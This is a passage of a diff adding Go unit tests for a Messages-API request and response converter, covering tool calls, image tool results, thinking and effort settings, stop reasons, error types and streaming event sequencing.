+						ToolUseID: "call_img",
+						Content: []any{
+							map[string]any{"type": "text", "text": "Attached image"},
+							map[string]any{
+								"type": "image",
+								"source": map[string]any{
+									"type":       "base64",
+									"media_type": "image/png",
+									"data":       testImage,
+								},
+							},
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_img" {
+		t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "Attached image" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+	if len(msg.Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(msg.Images))
+	}
+	if string(msg.Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:  "tool_use",
+						ID:    "call_read",
+						Name:  "Read",
+						Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
+					},
+				},
+			},
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_read",
+						Content:   "Read image (311.5KB)",
+					},
+					{
+						Type: "text",
+						Text: ptr("Please describe it."),
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 3 {
+		t.Fatalf("expected 3 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[1].Role != "tool" {
+		t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
+	}
+	if result.Messages[1].ToolCallID != "call_read" {
+		t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
+	}
+	if result.Messages[2].Role != "user" {
+		t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
+	}
+	if result.Messages[2].Content != "Please describe it." {
+		t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high', got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "xhigh",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "disabled",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set")
+	}
+
+	if got := result.Think.Value; got != false {
+		t.Fatalf("expected think=false when thinking is disabled, got %v", got)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "gemma4",
+		MaxTokens: 32000,
+		Messages: []MessageParam{
+			{
+				Role:    "user",
+				Content: textContent("Describe the image."),
+			},
+		},
+		Thinking: &ThinkingConfig{
+			Type: "adaptive",
+		},
+		OutputConfig: &OutputConfig{
+			Effort: "high",
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected think to be set from output_config.effort")
+	}
+
+	if got := result.Think.String(); got != "high" {
+		t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
+	}
+}
+
+func TestFromMessagesRequest_WithTools(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Tools: []Tool{
+			{
+				Name:        "get_weather",
+				Description: "Get current weather",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}},"required":["location"]}`),
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Tools) != 1 {
+		t.Fatalf("expected 1 tool, got %d", len(result.Tools))
+	}
+
+	tool := result.Tools[0]
+	if tool.Type != "function" {
+		t.Errorf("expected type 'function', got %q", tool.Type)
+	}
+	if tool.Function.Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", tool.Function.Name)
+	}
+	if tool.Function.Description != "Get current weather" {
+		t.Errorf("expected description 'Get current weather', got %q", tool.Function.Description)
+	}
+}
+
+func TestFromMessagesRequest_DropsCustomWebSearchWhenBuiltinPresent(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Tools: []Tool{
+			{
+				Type: "web_search_20250305",
+				Name: "web_search",
+			},
+			{
+				Type:        "custom",
+				Name:        "web_search",
+				Description: "User-defined web search that should be dropped",
+				InputSchema: json.RawMessage(`{"type":"invalid"}`),
+			},
+			{
+				Type:        "custom",
+				Name:        "get_weather",
+				Description: "Get current weather",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"location":{"type":"string"}},"required":["location"]}`),
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Tools) != 2 {
+		t.Fatalf("expected 2 tools after dropping custom web_search, got %d", len(result.Tools))
+	}
+	if result.Tools[0].Function.Name != "web_search" {
+		t.Fatalf("expected first tool to be built-in web_search, got %q", result.Tools[0].Function.Name)
+	}
+	if result.Tools[1].Function.Name != "get_weather" {
+		t.Fatalf("expected second tool to be get_weather, got %q", result.Tools[1].Function.Name)
+	}
+}
+
+func TestFromMessagesRequest_KeepsCustomWebSearchWhenBuiltinAbsent(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Tools: []Tool{
+			{
+				Type:        "custom",
+				Name:        "web_search",
+				Description: "User-defined web search",
+				InputSchema: json.RawMessage(`{"type":"object","properties":{"query":{"type":"string"}},"required":["query"]}`),
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Tools) != 1 {
+		t.Fatalf("expected 1 custom tool, got %d", len(result.Tools))
+	}
+	if result.Tools[0].Function.Name != "web_search" {
+		t.Fatalf("expected custom tool name web_search, got %q", result.Tools[0].Function.Name)
+	}
+	if result.Tools[0].Function.Description != "User-defined web search" {
+		t.Fatalf("expected custom description preserved, got %q", result.Tools[0].Function.Description)
+	}
+}
+
+func TestFromMessagesRequest_WithThinking(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Thinking:  &ThinkingConfig{Type: "enabled", BudgetTokens: 1000},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Think == nil {
+		t.Fatal("expected Think to be set")
+	}
+	if v, ok := result.Think.Value.(bool); !ok || !v {
+		t.Errorf("expected Think.Value to be true, got %v", result.Think.Value)
+	}
+}
+
+func TestFromMessagesRequest_ThinkingOnlyBlock(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:     "thinking",
+						Thinking: ptr("Let me think about this..."),
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	assistantMsg := result.Messages[1]
+	if assistantMsg.Thinking != "Let me think about this..." {
+		t.Errorf("expected thinking content, got %q", assistantMsg.Thinking)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingID(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type: "tool_use",
+						Name: "get_weather",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use id")
+	}
+	if err.Error() != "tool_use block missing required 'id' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_ToolUseMissingName(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type: "tool_use",
+						ID:   "call_123",
+					},
+				},
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for missing tool_use name")
+	}
+	if err.Error() != "tool_use block missing required 'name' field" {
+		t.Errorf("unexpected error message: %v", err)
+	}
+}
+
+func TestFromMessagesRequest_InvalidToolSchema(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages:  []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Tools: []Tool{
+			{
+				Name:        "bad_tool",
+				InputSchema: json.RawMessage(`{invalid json`),
+			},
+		},
+	}
+
+	_, err := FromMessagesRequest(req)
+	if err == nil {
+		t.Fatal("expected error for invalid tool schema")
+	}
+}
+
+func TestToMessagesResponse_Basic(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello there!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics: api.Metrics{
+			PromptEvalCount: 10,
+			EvalCount:       5,
+		},
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if result.ID != "msg_123" {
+		t.Errorf("expected ID 'msg_123', got %q", result.ID)
+	}
+	if result.Type != "message" {
+		t.Errorf("expected type 'message', got %q", result.Type)
+	}
+	if result.Role != "assistant" {
+		t.Errorf("expected role 'assistant', got %q", result.Role)
+	}
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "text" || result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
+		t.Errorf("unexpected content: %+v", result.Content[0])
+	}
+	if result.StopReason != "end_turn" {
+		t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
+	}
+	if result.Usage.InputTokens != 10 || result.Usage.OutputTokens != 5 {
+		t.Errorf("unexpected usage: %+v", result.Usage)
+	}
+}
+
+func TestToMessagesResponse_WithToolCalls(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: makeArgs("location", "Paris"),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "tool_use" {
+		t.Errorf("expected type 'tool_use', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].ID != "call_123" {
+		t.Errorf("expected ID 'call_123', got %q", result.Content[0].ID)
+	}
+	if result.Content[0].Name != "get_weather" {
+		t.Errorf("expected name 'get_weather', got %q", result.Content[0].Name)
+	}
+	if result.StopReason != "tool_use" {
+		t.Errorf("expected stop_reason 'tool_use', got %q", result.StopReason)
+	}
+}
+
+func TestToMessagesResponse_WithThinking(t *testing.T) {
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:     "assistant",
+			Content:  "The answer is 42.",
+			Thinking: "Let me think about this...",
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	result := ToMessagesResponse("msg_123", resp)
+
+	if len(result.Content) != 2 {
+		t.Fatalf("expected 2 content blocks, got %d", len(result.Content))
+	}
+	if result.Content[0].Type != "thinking" {
+		t.Errorf("expected first block type 'thinking', got %q", result.Content[0].Type)
+	}
+	if result.Content[0].Thinking == nil || *result.Content[0].Thinking != "Let me think about this..." {
+		t.Errorf("unexpected thinking content: %v", result.Content[0].Thinking)
+	}
+	if result.Content[1].Type != "text" {
+		t.Errorf("expected second block type 'text', got %q", result.Content[1].Type)
+	}
+}
+
+func TestMapStopReason(t *testing.T) {
+	tests := []struct {
+		reason       string
+		hasToolCalls bool
+		want         string
+	}{
+		{"stop", false, "end_turn"},
+		{"length", false, "max_tokens"},
+		{"stop", true, "tool_use"},
+		{"other", false, "stop_sequence"},
+		{"", false, ""},
+	}
+
+	for _, tt := range tests {
+		got := mapStopReason(tt.reason, tt.hasToolCalls)
+		if got != tt.want {
+			t.Errorf("mapStopReason(%q, %v) = %q, want %q", tt.reason, tt.hasToolCalls, got, tt.want)
+		}
+	}
+}
+
+func TestNewError(t *testing.T) {
+	tests := []struct {
+		code int
+		want string
+	}{
+		{400, "invalid_request_error"},
+		{401, "authentication_error"},
+		{403, "permission_error"},
+		{404, "not_found_error"},
+		{429, "rate_limit_error"},
+		{500, "api_error"},
+		{503, "overloaded_error"},
+		{529, "overloaded_error"},
+	}
+
+	for _, tt := range tests {
+		result := NewError(tt.code, "test message")
+		if result.Type != "error" {
+			t.Errorf("NewError(%d) type = %q, want 'error'", tt.code, result.Type)
+		}
+		if result.Error.Type != tt.want {
+			t.Errorf("NewError(%d) error.type = %q, want %q", tt.code, result.Error.Type, tt.want)
+		}
+		if result.Error.Message != "test message" {
+			t.Errorf("NewError(%d) message = %q, want 'test message'", tt.code, result.Error.Message)
+		}
+		if result.RequestID == "" {
+			t.Errorf("NewError(%d) request_id should not be empty", tt.code)
+		}
+	}
+}
+
+func TestGenerateMessageID(t *testing.T) {
+	id1 := GenerateMessageID()
+	id2 := GenerateMessageID()
+
+	if id1 == "" {
+		t.Error("GenerateMessageID returned empty string")
+	}
+	if id1 == id2 {
+		t.Error("GenerateMessageID returned duplicate IDs")
+	}
+	if len(id1) < 10 {
+		t.Errorf("GenerateMessageID returned short ID: %q", id1)
+	}
+	if id1[:4] != "msg_" {
+		t.Errorf("GenerateMessageID should start with 'msg_', got %q", id1[:4])
+	}
+}
+
+func TestStreamConverter_Basic(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	// First chunk
+	resp1 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: "Hello",
+		},
+		Metrics: api.Metrics{PromptEvalCount: 10},
+	}
+
+	events1 := conv.Process(resp1)
+	if len(events1) < 3 {
+		t.Fatalf("expected at least 3 events for first chunk, got %d", len(events1))
+	}
+
+	// Should have message_start, content_block_start, content_block_delta
+	if events1[0].Event != "message_start" {
+		t.Errorf("expected first event 'message_start', got %q", events1[0].Event)
+	}
+	if events1[1].Event != "content_block_start" {
+		t.Errorf("expected second event 'content_block_start', got %q", events1[1].Event)
+	}
+	if events1[2].Event != "content_block_delta" {
+		t.Errorf("expected third event 'content_block_delta', got %q", events1[2].Event)
+	}
+
+	// Final chunk
+	resp2 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:    "assistant",
+			Content: " world!",
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+	}
+
+	events2 := conv.Process(resp2)
+
+	// Should have content_block_delta, content_block_stop, message_delta, message_stop
+	hasStop := false
+	for _, e := range events2 {
+		if e.Event == "message_delta" {
+			if data, ok := e.Data.(MessageDeltaEvent); ok {
+				if data.Type != "message_delta" {
+					t.Errorf("unexpected data type: %+v", data)
+				}
+
+				if data.Delta.StopReason != "end_turn" {
+					t.Errorf("unexpected stop reason: %+v", data.Delta.StopReason)
+				}
+
+				if data.Usage.InputTokens != 10 || data.Usage.OutputTokens != 5 {
+					t.Errorf("unexpected usage: %+v", data.Usage)
+				}
+			} else {
+				t.Errorf("unexpected data: %+v", e.Data)
+			}
+		}
+
+		if e.Event == "message_stop" {
+			hasStop = true
+		}
+	}
+	if !hasStop {
+		t.Error("expected message_stop event in final chunk")
+	}
+}
+
+func TestStreamConverter_WithToolCalls(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_123",
+					Function: api.ToolCallFunction{
+						Name:      "get_weather",
+						Arguments: makeArgs("location", "Paris"),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+	}
+
+	events := conv.Process(resp)
+
+	hasToolStart := false
+	hasToolDelta := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					hasToolDelta = true
+				}
+			}
+		}
+	}
+
+	if !hasToolStart {
+		t.Error("expected tool_use content_block_start event")
+	}
+	if !hasToolDelta {
+		t.Error("expected input_json_delta event")
+	}
+}
+
+// TestStreamConverter_ThinkingDirectlyFollowedByToolCall verifies that when a
+// model emits a thinking block followed directly by a tool_use block (with no
+// text block in between), the streaming converter correctly closes the thinking
+// block and increments the content index before opening the tool_use block.
+// Previously, the converter reused contentIndex=0 for the tool_use block,
+// which caused "Content block not found" errors in clients. See #14816.
+func TestStreamConverter_ThinkingDirectlyFollowedByToolCall(t *testing.T) {
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	// First chunk: thinking content (no text)
+	resp1 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role:     "assistant",
+			Thinking: "I should call the tool.",
+		},
+	}
+	events1 := conv.Process(resp1)
+
+	// Should have: message_start, content_block_start(thinking), content_block_delta(thinking)
+	if len(events1) < 3 {
+		t.Fatalf("expected at least 3 events for thinking chunk, got %d", len(events1))
+	}
+	if events1[0].Event != "message_start" {
+		t.Errorf("expected first event 'message_start', got %q", events1[0].Event)
+	}
+	thinkingStart, ok := events1[1].Data.(ContentBlockStartEvent)
+	if !ok || thinkingStart.ContentBlock.Type != "thinking" {
+		t.Errorf("expected content_block_start(thinking) as second event, got %+v", events1[1])
+	}
+	if thinkingStart.Index != 0 {
+		t.Errorf("expected thinking block at index 0, got %d", thinkingStart.Index)
+	}
+
+	// Second chunk: tool call (no text between thinking and tool)
+	resp2 := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_abc",
+					Function: api.ToolCallFunction{
+						Name:      "ask_user",
+						Arguments: makeArgs("question", "cats or dogs?"),
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+		Metrics:    api.Metrics{PromptEvalCount: 10, EvalCount: 5},
+	}
+	events2 := conv.Process(resp2)
+
+	// Expect: content_block_stop(index=0), content_block_start(tool_use, index=1),
+	//         content_block_delta(input_json_delta, index=1), content_block_stop(index=1),
+	//         message_delta, message_stop
+	var thinkingStop, toolStart, toolDelta, toolStop *StreamEvent
+	for i := range events2 {
+		e := &events2[i]
+		switch e.Event {
+		case "content_block_stop":
+			if stop, ok := e.Data.(ContentBlockStopEvent); ok {
+				if stop.Index == 0 && thinkingStop == nil {
+					thinkingStop = e
+				} else if stop.Index == 1 {
+					toolStop = e
+				}
+			}
+		case "content_block_start":
+			if start, ok := e.Data.(ContentBlockStartEvent); ok && start.ContentBlock.Type == "tool_use" {
+				toolStart = e
+			}
+		case "content_block_delta":
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok && delta.Delta.Type == "input_json_delta" {
+				toolDelta = e
+			}
+		}
+	}
+
+	if thinkingStop == nil {
+		t.Error("expected content_block_stop for thinking block (index 0)")
+	}
+	if toolStart == nil {
+		t.Fatal("expected content_block_start for tool_use block")
+	}
+	if start, ok := toolStart.Data.(ContentBlockStartEvent); !ok || start.Index != 1 {
+		t.Errorf("expected tool_use block at index 1, got %+v", toolStart.Data)
+	}
+	if toolDelta == nil {
+		t.Fatal("expected input_json_delta event for tool call")
+	}
+	if delta, ok := toolDelta.Data.(ContentBlockDeltaEvent); !ok || delta.Index != 1 {
+		t.Errorf("expected tool delta at index 1, got %+v", toolDelta.Data)
+	}
+	if toolStop == nil {
+		t.Error("expected content_block_stop for tool_use block (index 1)")
+	}
+}
+
+func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
+	// Test that unmarshalable arguments (like channels) are handled gracefully
+	// and don't cause a panic or corrupt stream
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	// Create a channel which cannot be JSON marshaled
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	// Should not panic and should skip the unmarshalable tool call
+	events := conv.Process(resp)
+
+	// Verify no tool_use block was started (since marshal failed before block start)
+	hasToolStart := false
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					hasToolStart = true
+				}
+			}
+		}
+	}
+
+	if hasToolStart {
+		t.Error("expected no tool_use block when arguments cannot be marshaled")
+	}
+}
+
+func TestStreamConverter_MultipleToolCallsWithMixedValidity(t *testing.T) {
+	// Test that valid tool calls still work when mixed with invalid ones
+	conv := NewStreamConverter("msg_123", "test-model", 0)
+
+	unmarshalable := make(chan int)
+	badArgs := api.NewToolCallFunctionArguments()
+	badArgs.Set("channel", unmarshalable)
+
+	resp := api.ChatResponse{
+		Model: "test-model",
+		Message: api.Message{
+			Role: "assistant",
+			ToolCalls: []api.ToolCall{
+				{
+					ID: "call_good",
+					Function: api.ToolCallFunction{
+						Name:      "good_function",
+						Arguments: makeArgs("location", "Paris"),
+					},
+				},
+				{
+					ID: "call_bad",
+					Function: api.ToolCallFunction{
+						Name:      "bad_function",
+						Arguments: badArgs,
+					},
+				},
+			},
+		},
+		Done:       true,
+		DoneReason: "stop",
+	}
+
+	events := conv.Process(resp)
+
+	// Count tool_use blocks - should only have 1 (the valid one)
+	toolStartCount := 0
+	toolDeltaCount := 0
+	for _, e := range events {
+		if e.Event == "content_block_start" {
+			if start, ok := e.Data.(ContentBlockStartEvent); ok {
+				if start.ContentBlock.Type == "tool_use" {
+					toolStartCount++
+					if start.ContentBlock.Name != "good_function" {
+						t.Errorf("expected tool name 'good_function', got %q", start.ContentBlock.Name)
+					}
+				}
+			}
+		}
+		if e.Event == "content_block_delta" {
+			if delta, ok := e.Data.(ContentBlockDeltaEvent); ok {
+				if delta.Delta.Type == "input_json_delta" {
+					toolDeltaCount++
+				}
+			}
+		}
+	}
+
+	if toolStartCount != 1 {
+		t.Errorf("expected 1 tool_use block, got %d", toolStartCount)
+	}
+	if toolDeltaCount != 1 {
+		t.Errorf("expected 1 input_json_delta, got %d", toolDeltaCount)
+	}
+}
+
+func TestContentBlockJSON_EmptyFieldsPresent(t *testing.T) {
+	tests := []struct {
+		name     string
+		block    ContentBlock
+		wantKeys []string
+	}{
+		{
+			name: "text block includes empty text field",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr(""),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+		{
+			name: "thinking block includes empty thinking field",
+			block: ContentBlock{
+				Type:     "thinking",
+				Thinking: ptr(""),
+			},
+			wantKeys: []string{"type", "thinking"},
+		},
+		{
+			name: "text block with content",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr("hello"),
+			},
+			wantKeys: []string{"type", "text"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			data, err := json.Marshal(tt.block)
+			if err != nil {
+				t.Fatalf("failed to marshal: %v", err)
+			}
+
+			var result map[string]any
+			if err := json.Unmarshal(data, &result); err != nil {
+				t.Fatalf("failed to unmarshal: %v", err)
+			}
+
+			for _, key := range tt.wantKeys {
+				if _, ok := result[key]; !ok {
+					t.Errorf("expected key %q to be present in JSON output, got: %s", key, string(data))
+				}
+			}
+		})
+	}
+}
+
+func TestContentBlockJSON_NonToolBlocksDoNotIncludeInput(t *testing.T) {
+	tests := []struct {
+		name  string
+		block ContentBlock
+	}{
+		{
+			name: "text block",
+			block: ContentBlock{
+				Type: "text",
+				Text: ptr("hello"),
+			},
+		},
+		{
+			name: "thinking block",
+			block: ContentBlock{
+				Type:     "thinking",
+				Thinking: ptr("let me think"),
+			},
+		},
+		{
+			name: "image block",
+			block: ContentBlock{
+				Type: "image",
+				Source: &ImageSource{
+					Type:      "base64",
+					MediaType: "image/png",
+					Data:      testImage,
+				},
+			},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			data, err := json.Marshal(tt.block)
+			if err != nil {
+				t.Fatalf("failed to marshal: %v", err)
+			}
+
+			var result map[string]any
+			if err := json.Unmarshal(data, &result); err != nil {
+				t.Fatalf("failed to unmarshal: %v", err)
+			}
+
+			if _, ok := result["input"]; ok {
+				t.Fatalf("unexpected input field in non-tool block JSON: %s", string(data))
+			}
+		})
+	}
+}
+
+func TestStreamConverter_ContentBlockStartIncludesEmptyFields(t *testing.T) {
+	t.Run("text block start includes empty text", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model", 0)
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Content: "hello"},
+		}
+
+		events := conv.Process(resp)
+
+		var foundTextStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "text" {
+						foundTextStart = true
+						// Marshal and verify the text field is present
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						if err := json.Unmarshal(data, &result); err != nil {
+							t.Fatalf("failed to unmarshal content_block_start JSON: %v", err)
+						}
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["text"]; !ok {
+							t.Error("content_block_start for text should include 'text' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundTextStart {
+			t.Error("expected text content_block_start event")
+		}
+	})
+
+	t.Run("thinking block start includes empty thinking", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model", 0)
+
+		resp := api.ChatResponse{
+			Model:   "test-model",
+			Message: api.Message{Role: "assistant", Thinking: "let me think..."},
+		}
+
+		events := conv.Process(resp)
+
+		var foundThinkingStart bool
+		for _, e := range events {
+			if e.Event == "content_block_start" {
+				if start, ok := e.Data.(ContentBlockStartEvent); ok {
+					if start.ContentBlock.Type == "thinking" {
+						foundThinkingStart = true
+						data, _ := json.Marshal(start)
+						var result map[string]any
+						json.Unmarshal(data, &result)
+						cb := result["content_block"].(map[string]any)
+						if _, ok := cb["thinking"]; !ok {
+							t.Error("content_block_start for thinking should include 'thinking' field")
+						}
+					}
+				}
+			}
+		}
+
+		if !foundThinkingStart {
+			t.Error("expected thinking content_block_start event")
+		}
+	})
+
+	t.Run("tool_use block start includes empty input object", func(t *testing.T) {
+		conv := NewStreamConverter("msg_123", "test-model", 0)
+
+		resp := api.ChatResponse{
